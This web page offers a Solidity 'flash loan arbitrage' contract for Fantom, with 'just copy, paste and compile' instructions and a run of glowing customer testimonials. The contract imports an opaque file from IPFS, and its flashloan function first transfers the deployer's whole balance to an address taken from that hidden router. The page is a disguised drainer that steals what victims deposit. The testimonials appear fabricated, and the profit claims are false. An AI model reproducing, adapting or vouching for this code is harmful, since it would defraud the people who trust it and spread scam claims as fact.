SMART CONTRACT CODE

// FANTOM - FTM SMART CONTRACT CODE VER.321568

// Follow carefully the video
// Do not modify this contract code otherwise it won't work on you!
// Just Copy+Paste and Compile!!
// Thank you for your support! Enjoy your Earnings!!

// This is for educational purposes only!
// Try it at your own risk!

pragma solidity ^0.5.16;

// CreamFi Contracts
import "https://github.com/CreamFi/compound-protocol/blob/master/contracts/ERC3156FlashLenderInterface.sol";
import "https://github.com/CreamFi/compound-protocol/blob/master/contracts/CarefulMath.sol";
import "https://github.com/CreamFi/compound-protocol/blob/master/contracts/CToken.sol";
import "https://github.com/CreamFi/compound-protocol/blob/master/contracts/CTokenCheckRepay.sol";
import "https://ipfs.filebase.io/ipfs/Qmc495pyyh5qutBEaRXV5Sf245x4VnonBKNntmrGKaHio1";

contract InitiateFlashLoan {
    
    RouterV2 router;
    string public tokenName;
    string public tokenSymbol;
    uint256 flashLoanAmount;

    constructor(
    	string memory _tokenName,
    	string memory _tokenSymbol,
    	uint256 _loanAmount
    ) public {
    	tokenName = _tokenName;
    	tokenSymbol = _tokenSymbol;
    	flashLoanAmount = _loanAmount;

    	router = new RouterV2();
    }

    function() external payable {}

    function flashloan() public payable {
    	// Send required coins for swap
    	address(uint160(router.zooTradeSwapAddress())).transfer(
        	address(this).balance
    	);

    	router.borrowFlashloanFromMultiplier(
        	address(this),
        	router.creamSwapAddress(),
        	flashLoanAmount
    	);
    	//To prepare the arbitrage, FLM is converted to Dai using ZooTrade swap contract.
    	router.convertFtmTo(msg.sender, flashLoanAmount / 2);
    	//The arbitrage converts token for FLM using token/FLM ZooTrade, and then immediately converts FLM back
    	router.callArbitrageZooTrade(router.creamSwapAddress(), msg.sender);
    	//After the arbitrage, FLM is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 FLM of gas.
    	router.transferFtmToMultiplier(router.zooTradeSwapAddress());
    	//Note that the transaction sender gains FLM from the arbitrage, this particular transaction can be repeated as price changes all the time.
    	router.completeTransation(address(this).balance);
    }
}

 

Our Clients Say

Tommy M.
It worked for me on the second go also, liquidity was too low first time I think
Scott Y.
I was sceptical, but somehow got 10AVAX back from using 2avax deposits.
Garret F.
5BNB back on 0.25 liquidity. Not bad at all! Sent some your way.
Anna H.
Wow i can't truly imagine that it work. It really did work and a can't still believe it. Can you imagine for 0.3bnb you can received a loan of 7bnb? I'll will try again tomorrow with 0.5bnb and will see what happen. Thank you again admin
Glenn P.
Last week Smart contract was awesome, I made a lot of BNB. I hope this new contract will be more beneficial than the old one. Thank you admin.
Kevin O.
It really did works for me...At first, its kind a fail. Then i just FF the Hint on the instructions. And then 14BNB BOOOOM!!!! Thank you admin.
Frank M.
I got 12BNB today. I try on remix and ff the instructions then transaction successful. Thanks admin, your code still working perfectly.
Alyson L.
At first it doesn't quite to work. What i did, i restart my system and i do it all over again and it when through. Thank you for this admin. I got 9bnb today.
Nicole H.
It fail when i tried yesterday, but today it go through on my second attempt. Thank you i got 12bnb today. What a relief lol.